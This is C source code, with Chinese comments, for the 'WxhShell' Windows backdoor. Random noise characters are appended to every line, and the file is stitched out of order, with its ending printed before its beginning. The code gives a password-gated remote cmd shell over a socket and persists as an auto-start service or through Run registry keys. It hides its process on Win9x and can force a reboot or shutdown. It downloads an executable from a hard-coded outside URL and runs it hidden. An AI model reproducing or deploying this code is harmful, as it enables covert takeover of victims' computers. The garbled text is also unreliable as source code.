    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m](q,65 2  
    if(Boot(SHUTDOWN)) JN-W`2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dO!B=/  
    else { 8SN4E  
    closesocket(wsh); a 9!.e rM  
    ExitThread(0); v[]&yD  
    } -5y=K40  
    break; E`b<^l`  
    } i4\DSQJ  
  // 获取shell "?>hQM1R  
  case 's': { 'MQJt2QU9{  
    CmdShell(wsh); *6wt+twH  
    closesocket(wsh); A5^tus/y  
    ExitThread(0); E*s8 nQ"  
    break; c,Yd#nokC  
  } h3Y|0-D  
  // 退出 {ewo-dva  
  case 'x': { \t ^9UN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jJ3dZ<#  
    CloseIt(wsh); t_hr${  
    break; ^Is#_Z|  
    } Z$y~:bz  
  // 离开 $O9,Gvnxx  
  case 'q': { FvVM}l'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rg7~?b-  
    closesocket(wsh); $H"(]>~  
    WSACleanup(); fzr0dcNgM  
    exit(1); >k8FUf(c  
    break; s >7(S%#N  
        } H|z:j35\  
  } /TScYE:$HE  
  } ^]TYS]C  
j[|mC;y.  
  // 提示信息 ~m&q@ms&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /-Y.A<ieN8  
} g]9A?#GyE  
  } ;uaZp.<um&  
O0QK `F/)*  
  return; 4||dc}I"E  
} \+>g"';f  
.&rL>A2U  
// shell模块句柄 N4u-tlA  
int CmdShell(SOCKET sock) h 6juX'V  
{ ~y>NJM>1  
STARTUPINFO si; ^v&)z ,  
ZeroMemory(&si,sizeof(si)); B qcFbY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ja{[T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ekV*,R"  
PROCESS_INFORMATION ProcessInfo; e VRjU  
char cmdline[]="cmd"; ,IRy. qy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )26_7.|  
  return 0; kz^?!l)X0  
} 6XI$ o,{  
B8NMo5a  
// 自身启动模式 [ Mp8"  
int StartFromService(void) c}mWAZ=wF  
{ 1Wb_>`;  
typedef struct h[oI/X  
{ mH 9_HK.C  
  DWORD ExitStatus; A;7At!kK  
  DWORD PebBaseAddress; tjbI*Pw7(  
  DWORD AffinityMask; Bn5$TiTcl  
  DWORD BasePriority; J'@`+veE  
  ULONG UniqueProcessId; a1g aB:w5n  
  ULONG InheritedFromUniqueProcessId; ,XYtoZa  
}   PROCESS_BASIC_INFORMATION; 2!";?E  
!T~C=,;  
PROCNTQSIP NtQueryInformationProcess; lH"4"r  
V]P%@<C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VP_S[+Zv~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qx`)M3Mu|<  
f~{4hVA  
  HANDLE             hProcess; !1xX)XD4y  
  PROCESS_BASIC_INFORMATION pbi; M5c~-}Ay  
UJk/Lxv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -P-&]F5  
  if(NULL == hInst ) return 0; -P We  
,m1F<Pdts  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M6H#Y2!ZbC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); []hC*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y(6p&I  
9K4Jg]?  
  if (!NtQueryInformationProcess) return 0; DGO\&^GT^  
fl o9iifZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O9R[F  
  if(!hProcess) return 0; 9;tY'32/  
{v U;(eN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 ![  
0%"sOth  
  CloseHandle(hProcess); Q3 yW#eD  
#9(L/)^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ev9ltl{  
if(hProcess==NULL) return 0; @<C<rB8R  
p #Y2v  
HMODULE hMod; abkt&981K+  
char procName[255]; }S6"$R  
unsigned long cbNeeded; &z?:s  
rixt_}aE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Bp5^(s  
^e(*{K;8  
  CloseHandle(hProcess); 5?XIp6%x  
o>Q=V 0?  
if(strstr(procName,"services")) return 1; // 以服务启动 OtZc;c  
i?B(I4a!G  
  return 0; // 注册表启动 Q8^g WBc  
} d#-'DO{k  
rVv4R/3+   
// 主模块 maVfLVx-  
int StartWxhshell(LPSTR lpCmdLine) =jkiM_<h  
{ Qgxpq{y  
  SOCKET wsl; YK)e  
BOOL val=TRUE; ]B3f$;W  
  int port=0; ;P9cjfSn  
  struct sockaddr_in door; @=dwvl' W  
G1G*TSf  
  if(wscfg.ws_autoins) Install(); ` *q>E  
~;yP{F8?  
port=atoi(lpCmdLine);  $M|  
/<Yz;\:Jy  
if(port<=0) port=wscfg.ws_port; NM4b]>   
+AYB0`X)  
  WSADATA data; bz|-x"qk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aM|;3j1p  
+\U#:gmw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z!2%{HQ=q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H& !?c5  
  door.sin_family = AF_INET; =pd#U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  giORc  
  door.sin_port = htons(port); 0YO/G1O&  
Sd+bnq%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^]X\boWlI  
closesocket(wsl); '?uwUBi  
return 1; rObg:(z&\  
} qaiR329fx  
,_z"3B)]  
  if(listen(wsl,2) == INVALID_SOCKET) { ]i Yp  
closesocket(wsl); +jb<=ERV[  
return 1; xP-\)d-.aN  
} 36UUt!}p  
  Wxhshell(wsl); U5yBU9\G  
  WSACleanup(); EGxCNB  
b E6bx6=u  
return 0; 'J_`CS  
$d5}OI"g  
} !![HR6"Q  
?g9oiOhnG  
// 以NT服务方式启动 pB'{_{8aA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \EW<;xq  
{ qu%}b>  
DWORD   status = 0; )Y:C'*.r  
  DWORD   specificError = 0xfffffff; .qS(-7<  
8 DPn5E#M1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HwZ"l31  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +'{d^-( (  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GUC.t7!  
  serviceStatus.dwWin32ExitCode     = 0; ^T*'B-`C7X  
  serviceStatus.dwServiceSpecificExitCode = 0; 9wdl1QS  
  serviceStatus.dwCheckPoint       = 0; A.cNOous|  
  serviceStatus.dwWaitHint       = 0; Td 5yRN! ?  
2x!cblo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s2"<<P[q'  
  if (hServiceStatusHandle==0) return; HpIW H*  
=fK6P6'B  
status = GetLastError(); yR1v3D4E  
  if (status!=NO_ERROR) d-`z1'  
{ :: s k)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0SV4p.  
    serviceStatus.dwCheckPoint       = 0; "Pa  y2  
    serviceStatus.dwWaitHint       = 0; b=XXp`h~a  
    serviceStatus.dwWin32ExitCode     = status; 11?d,6Jl  
    serviceStatus.dwServiceSpecificExitCode = specificError; #oJ%i+V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =[LUOOR*]  
    return; 8 `}I]  
  } Ru@ { b`  
-8Hv3J'=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n!&F%|o^^  
  serviceStatus.dwCheckPoint       = 0; vP'#x  
  serviceStatus.dwWaitHint       = 0; 0DX)%s,KO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @1s 2# )l(  
} 3|PV.  
_*++xF1  
// 处理NT服务事件,比如:启动、停止 th%T(D5n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wo{4*~f  
{ nQ#NW8*Fs  
switch(fdwControl) ZoR6f\2M  
{ { t@7r  
case SERVICE_CONTROL_STOP: 6[Wv g  
  serviceStatus.dwWin32ExitCode = 0; DLO2$d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; } p `A>  
  serviceStatus.dwCheckPoint   = 0; jIck!  
  serviceStatus.dwWaitHint     = 0; S,f:nLT  
  { Xa$-Sx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yOO@v6jO)  
  } oAgU rl;R  
  return; I ;F\'P)e  
case SERVICE_CONTROL_PAUSE: s[#_sR`y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P c'\  
  break; @#"6_{!j_X  
case SERVICE_CONTROL_CONTINUE: 8*^*iEsR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LoW}!,|  
  break; <Aqo[']  
case SERVICE_CONTROL_INTERROGATE: e\.  
  break; B/I1<%Yk  
}; X*t2h3 "}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -nqq;|%  
} <3laNk  
]/7#[  
// 标准应用程序主函数 auAwZi/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [D2<)  
{ 2}rYH;Mx  
:{%~L4$HI  
// 获取操作系统版本 + S@[1 N  
OsIsNt=GetOsVer(); BBa!l e9P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {R?VB!dR  
Hb\['VhzM  
  // 从命令行安装 b1EY6'R2  
  if(strpbrk(lpCmdLine,"iI")) Install(); A`*Sx"~jdx  
:@~mN7O*  
  // 下载执行文件 byPqPSY  
if(wscfg.ws_downexe) { |%@pjJ`3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P52qtN<  
  WinExec(wscfg.ws_filenam,SW_HIDE); #9t3<H[  
} FiKGB\_]  
|Q$Dj!!1P  
if(!OsIsNt) { ?u>A2Vc!  
// 如果时win9x,隐藏进程并且设置为注册表启动 %*OQH?pyx}  
HideProc(); Q-KBQc  
StartWxhshell(lpCmdLine); fvRqt)Ks  
} ]v l?J  
else e17]{6y  
  if(StartFromService())  NmTo/5s  
  // 以服务方式启动 ?8YbTn1f)  
  StartServiceCtrlDispatcher(DispatchTable); ijmGk:L(  
else _|7bpt9  
  // 普通方式启动 wZt2%+$6m  
  StartWxhshell(lpCmdLine); \hP.Q;"MtO  
2FQTu*p&B  
return 0; >aT~ G!y  
} 7GRPPh<4  
a}[rk*QmZ  
M/kBAxNIC|  
iUlSRfrC$#  
=========================================== q^6l`JJ  
8|tnhA]~  
Esf\Bo"  
T=':$(t  
gw<u dhk  
`!<#'PR  
" nZ[`Yrq)0  
4xgfm.9I^  
#include <stdio.h> vw :&c.zd  
#include <string.h> !ezy  v`  
#include <windows.h> VyWzb  
#include <winsock2.h> n$<n Yr`X  
#include <winsvc.h> 6foiN W+  
#include <urlmon.h> {Gw{W&<  
r-,u)zf"  
#pragma comment (lib, "Ws2_32.lib") *9 (E0"  
#pragma comment (lib, "urlmon.lib") 3-BC4y/  
=d/$B!t{  
#define MAX_USER   100 // 最大客户端连接数 P?Kg7m W  
#define BUF_SOCK   200 // sock buffer XO}SPf-  
#define KEY_BUFF   255 // 输入 buffer 9JO1O:W  
TPmb]j  
#define REBOOT     0   // 重启 3g5D[>J'  
#define SHUTDOWN   1   // 关机 A}i>ys  
Y^eF(  
#define DEF_PORT   5000 // 监听端口 5YLc4z*  
qfF2S  
#define REG_LEN     16   // 注册表键长度 |k]fY*z(  
#define SVC_LEN     80   // NT服务名长度 [<X ~m  
s?PB ]Tr  
// 从dll定义API =z\/xzAwX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B^C 5?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mt4X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); czH# ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _z>%h>L|g  
)\ J~KB4  
// wxhshell配置信息 T1;>qgp4b  
struct WSCFG { u56F;y  
  int ws_port;         // 监听端口 1i;Cw/mr  
  char ws_passstr[REG_LEN]; // 口令 p tlag&Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no yh{U!hG  
  char ws_regname[REG_LEN]; // 注册表键名 GjbOc   
  char ws_svcname[REG_LEN]; // 服务名 x[mh^V5ld  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L$ZsNs+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PoD/i@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &;U F,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p,14'HS%@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I7W?}bR*6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v.c.5@%%o  
*S'?u_Y7  
}; h$p}/A  
oz7=1;r  
// default Wxhshell configuration Qjmo{'d  
struct WSCFG wscfg={DEF_PORT, .x1.`Y   
    "xuhuanlingzhe", tg7QX/KX  
    1, _o==  
    "Wxhshell", TWdhl9Ot  
    "Wxhshell", Tn?D~?a*O  
            "WxhShell Service", u/%Z0`X  
    "Wrsky Windows CmdShell Service", a\KM^jrCD  
    "Please Input Your Password: ", cCcJOhk|d  
  1, j9.%(*  
  "http://www.wrsky.com/wxhshell.exe", iYGa4@/uM  
  "Wxhshell.exe" [XkWPx`  
    }; B?ipo,2~{  
Nzb=h/;  
// 消息定义模块 umt(e:3f5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -/_hO$|W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; le6eorK8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Z{u;FI  
char *msg_ws_ext="\n\rExit."; DPfN*a-P(  
char *msg_ws_end="\n\rQuit."; ,nJCqX~ /G  
char *msg_ws_boot="\n\rReboot..."; EjP)e;  
char *msg_ws_poff="\n\rShutdown..."; .2y @@g  
char *msg_ws_down="\n\rSave to "; 9H2mA$2jnE  
K6,d{n  
char *msg_ws_err="\n\rErr!"; !8tqYY?>@\  
char *msg_ws_ok="\n\rOK!"; VUD9ZyPw  
" s/ws  
char ExeFile[MAX_PATH]; 6t gq.XL^n  
int nUser = 0; a!.Y@o5Ku  
HANDLE handles[MAX_USER]; k=X)ax t1  
int OsIsNt; q[x|tO  
*r ('A  
SERVICE_STATUS       serviceStatus; pL: r\Y:R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <3x:nH @  
a..LbQQ  
// 函数声明 KBA& s  
int Install(void); Z>*a:|  
int Uninstall(void); L%Ms?`i,  
int DownloadFile(char *sURL, SOCKET wsh); sTvw@o *  
int Boot(int flag); uEkGo5  
void HideProc(void); L;=LAQ6[  
int GetOsVer(void); 4^!%>V"d/  
int Wxhshell(SOCKET wsl); |#Q0UM|'Q  
void TalkWithClient(void *cs); EmyE%$*T  
int CmdShell(SOCKET sock); wdIJ?\/763  
int StartFromService(void); rj/nn)vv;  
int StartWxhshell(LPSTR lpCmdLine); #;h> x  
]2_=(N\Kt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /xd|mo)D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cDz^jC   
C1OiMb(:  
// 数据结构和表定义 c=re(  
SERVICE_TABLE_ENTRY DispatchTable[] = 3pyE'9"f6  
{ 4W=fQx]  
{wscfg.ws_svcname, NTServiceMain}, fIn^a 3TV  
{NULL, NULL} O 2/_$i[F  
}; | NyANsI  
<slrzc_>&  
// 自我安装 }\1IsK~P  
int Install(void) &td   
{ f67t.6Vw2+  
  char svExeFile[MAX_PATH]; Su<>UsdUC  
  HKEY key; VdGpreRPC  
  strcpy(svExeFile,ExeFile); [4+I1UR`  
#Vy:6O  
// 如果是win9x系统,修改注册表设为自启动 HT6$|j  
if(!OsIsNt) { p9&gKIO_m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [@@EE> y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Vh }d/  
  RegCloseKey(key); yoM^6o^,D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M3eFG@,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yi <1z:\  
  RegCloseKey(key); (^58$IW71  
  return 0; zX6Q7Bc  
    } 4r#4h4`y|  
  } "i&9RA! 1  
} f[?JLp   
else { @0%[4  
k&npC8oA  
// 如果是NT以上系统,安装为系统服务 3;AJp_;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I~nz~U:ak  
if (schSCManager!=0) }taG/kE62  
{ 7@&kPh}PG  
  SC_HANDLE schService = CreateService ^_BjO(b'e  
  ( 4h T!DS  
  schSCManager, cGlpJ)'-{  
  wscfg.ws_svcname, 8YQ7XB  
  wscfg.ws_svcdisp, `chD*@76I  
  SERVICE_ALL_ACCESS, =&m;5R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [EK@f,iM  
  SERVICE_AUTO_START, 83VFBY2q  
  SERVICE_ERROR_NORMAL, R`,|08E  
  svExeFile, .etG>tH  
  NULL, VFKFO9  
  NULL, D58RHgY[  
  NULL, 6_K7!?YG7  
  NULL, AB<%GzW0(  
  NULL NHe[,nIV  
  ); U#{(*)qr  
  if (schService!=0) WwUHHm<v  
  { u1>WG?/`  
  CloseServiceHandle(schService); b&'YW*W  
  CloseServiceHandle(schSCManager); dV /Es  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .UvDew/Y  
  strcat(svExeFile,wscfg.ws_svcname); ,:0!+1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { szXqJG8|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IA$=  
  RegCloseKey(key); ^-F#"i|Cn  
  return 0; h;R>|2A  
    } G[n;%c~`+  
  } )_}xK={  
  CloseServiceHandle(schSCManager); E`]un.  
} 7Dw. 9EQ  
} SAE'y2B*  
z'\BZ5riX<  
return 1; l nJ  
} COj^pdE3  
;WgzR_'!'  
// 自我卸载 EA z>`~  
int Uninstall(void) <YrsS-9  
{ bmh@SB  
  HKEY key; G/_xn5XDD  
ux)Wh.5  
if(!OsIsNt) { +W8kMuM!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hm+VGH'H?  
  RegDeleteValue(key,wscfg.ws_regname); 2'Raj'2S4  
  RegCloseKey(key); }0]iS8*tL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PGuPw'2;[  
  RegDeleteValue(key,wscfg.ws_regname); X_)x Fg'k  
  RegCloseKey(key); >)k[085t  
  return 0; ""IPaNHQ  
  } w=^~M[%w  
} )( pgJLW  
} L]l?_#*x  
else { s.a@uR^  
s+^1\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /JIVp_-p  
if (schSCManager!=0) Nw%^Gs<~  
{ @\+UTkl8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =%|f-x  
  if (schService!=0) Z A}!Rzo  
  { i8%Z(@_`  
  if(DeleteService(schService)!=0) { <[=[|DS l  
  CloseServiceHandle(schService); 8C*xrg#g:  
  CloseServiceHandle(schSCManager); sXYXBX[  
  return 0; 5C9 .h:c4y  
  } rS+ >oP}  
  CloseServiceHandle(schService); olm'_ {{  
  } ZgmK~iJ  
  CloseServiceHandle(schSCManager); {fY(zHC  
} >y$*|V}k  
} =E:sEw2j  
4b}'W}  
return 1; Ex6Kxd}8  
} i_nUyH%b  
bNHs jx@  
// 从指定url下载文件 TQOJN  
int DownloadFile(char *sURL, SOCKET wsh) 2}_^~8  
{ Sg13Dp @x  
  HRESULT hr; 6=x]20  
char seps[]= "/"; e}s,WC2-  
char *token; -CALU X  
char *file; F*Ul#yX  
char myURL[MAX_PATH]; i%MR<M  
char myFILE[MAX_PATH]; DmZ_tuVI  
h]4qJ  
strcpy(myURL,sURL); nN>Uh T  
  token=strtok(myURL,seps); 2#8PM-3"  
  while(token!=NULL) {;o54zuKf  
  { qat'Vj,  
    file=token; n.,ZgLx["  
  token=strtok(NULL,seps); .ts XQf  
  } ~`5[Li:eP  
Psm9hP :m  
GetCurrentDirectory(MAX_PATH,myFILE); |T-Y tuy8  
strcat(myFILE, "\\"); }S%}%1pG7  
strcat(myFILE, file); ES#q/yab5  
  send(wsh,myFILE,strlen(myFILE),0); rMJ4w['J=  
send(wsh,"...",3,0); 24f N3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~se ;L  
  if(hr==S_OK) mA #^Pv*  
return 0; jU}  
else (1'sBm7F  
return 1; r^Soqom3  
) }k"7"  
} @[1,i~H  
9QkssI  
// 系统电源模块 2 ]r5e;  
int Boot(int flag) TLg 9`UA  
{ GT3}'`f B  
  HANDLE hToken; m-q O yt  
  TOKEN_PRIVILEGES tkp; 6K >(n  
^plP1c:  
  if(OsIsNt) { $GVf;M2*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v4\ m9Pu4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ey_mK\'  
    tkp.PrivilegeCount = 1; WK.,q>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nVGOhYn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \_+Af`  
if(flag==REBOOT) { UaHN*@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fUJe{C<H  
  return 0; 5!6}g<z&L  
} f%REN3=5K  
else { GB}X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ke'OT>8  
  return 0; }-&#vP~I  
} ^SS9BQ*m  
  } ^(:na6C  
  else { j>~ @vq  
if(flag==REBOOT) { (e<p^T J]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N9z!-y'X  
  return 0; K81&BVx/  
} + Cq&~<B  
else { eqpnh^0}d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iT1HbAT]  
  return 0; |~=4Z rcCP  
} UQtG<W]<  
} d"+ _`d=`  
vY,]f^F"  
return 1; WhV>]B2+"  
} :5:_Dr<  
w aDJ  
// win9x进程隐藏模块 |8\et  
void HideProc(void) h5))D!  
{ +:z%#D  
y|WOw(#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CS"p3$7,  
  if ( hKernel != NULL ) 'b_SQ2+A  
  { *Oy%($'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?[lKft  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -AKbXkc~\  
    FreeLibrary(hKernel); o7g6*hJz  
  } ?\a';@h  
,Ne v7X[0  
return; {1GIiP-U  
} XP65  
";59,\6  
// 获取操作系统版本 u?8e>a  
int GetOsVer(void) puGy`9eKv1  
{ -} +PE 4fh  
  OSVERSIONINFO winfo; !i=k=l=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,Lw '3  
  GetVersionEx(&winfo); >Wj8[9zf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2K2jko9'a  
  return 1; l" H/PB<.  
  else }iR!uhi#  
  return 0; H3S u'3  
} *Rj*%S  
a#,lf9M  
// 客户端句柄模块 Js !Zk\O  
int Wxhshell(SOCKET wsl) Pu!%sGjD  
{ ;'|t>'0_  
  SOCKET wsh;  u8[jD^  
  struct sockaddr_in client; {>#4{D00  
  DWORD myID; jt",\%j  
N)$yBzN  
  while(nUser<MAX_USER) PPNZ(j   
{ [kZe6gYP&  
  int nSize=sizeof(client); 6j~'>w(F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H3o Um1  
  if(wsh==INVALID_SOCKET) return 1; 7ZgFCK,8m,  
z^9df(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $qhVow5~  
if(handles[nUser]==0) p"J\+R  
  closesocket(wsh); #'kVW{  
else YCB=RT]&`  
  nUser++; 3 jay V  
  } ?I#zcD)w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `LVX|l62  
[Uu!:SZ  
  return 0; *:V"C\`^n  
} aAkO>X%[  
1He'\/#  
// 关闭 socket RIxGwMi%  
void CloseIt(SOCKET wsh) *AN2&>Y  
{ jo=,j/,l  
closesocket(wsh); {2%@I~US  
nUser--; _{'HY+M  
ExitThread(0); !8>tT  
} F!yejn [  
?gOZY\[ma  
// 客户端请求句柄 .e%B'  
void TalkWithClient(void *cs) Nv_"?er+y  
{ <rFY$ ?x  
2qUC@d<K  
  SOCKET wsh=(SOCKET)cs; >=Un=Q%  
  char pwd[SVC_LEN]; g\ p;  
  char cmd[KEY_BUFF]; Z(-@8=0  
char chr[1]; HzF]hm,  
int i,j; tr\}lfK%  
u-E*_% y  
  while (nUser < MAX_USER) { KcX] g*wy  
]i@VIvYq  
if(wscfg.ws_passstr) { Flzl,3rW4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *a4nd_!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hSD uByoi  
  //ZeroMemory(pwd,KEY_BUFF); S[cVoV  
      i=0; c)fTI,.$  
  while(i<SVC_LEN) { ?I.<mdhN#t  
,~- dZs  
  // 设置超时 z,B'I.)M  
  fd_set FdRead; !B{N:?r  
  struct timeval TimeOut; CEos`  
  FD_ZERO(&FdRead); D +vHl}  
  FD_SET(wsh,&FdRead); E`SFr  
  TimeOut.tv_sec=8; hUy\)GsT  
  TimeOut.tv_usec=0; G>0S( M)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u9"1%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KCkA4`IeM  
rz%=qY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rTjV/~  
  pwd=chr[0]; VZ8HnNAbX  
  if(chr[0]==0xd || chr[0]==0xa) { t`X-jr)g  
  pwd=0; ISuye2tExq  
  break; +9mnxU>  
  } OQON~&~  
  i++; 85 tQHm6j  
    } %maLo RJ  
'WG%O7s.  
  // 如果是非法用户,关闭 socket 4X2/n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~Xg@,?Zr  
} 2*K _RMr~  
7.PG*q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z`D;8x2b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )_nc;&%w  
n1xN:A  
while(1) { ?qt>;o|Ue  
8j} CP  
  ZeroMemory(cmd,KEY_BUFF); *a7&v3X  
u@$C i/J*  
      // 自动支持客户端 telnet标准   b;O|-2AR  
  j=0; nx >PZb  
  while(j<KEY_BUFF) { +SSF=]4+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y|=/*?o}  
  cmd[j]=chr[0]; t F<|Eja *  
  if(chr[0]==0xa || chr[0]==0xd) { q|. X[~e|  
  cmd[j]=0; FU|c[u|z  
  break; h@"dpmpe  
  } 6* /o  
  j++; H`$s63  
    } PZRm.vC)k  
%<q l  
  // 下载文件 gekW&tRie  
  if(strstr(cmd,"http://")) { b"y][5VE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =M'y& iz-  
  if(DownloadFile(cmd,wsh)) $!<J_ d*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A({8p  
  else nJ`JF5tI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &z r..i4O  
  } Brh<6Btl  
  else { V Z[[zYe  
uJ4RjLM`  
    switch(cmd[0]) { $g55wGF  
  f_r1(o 5:Y  
  // 帮助 BOLG#}sm  
  case '?': { MmBM\Dnv  
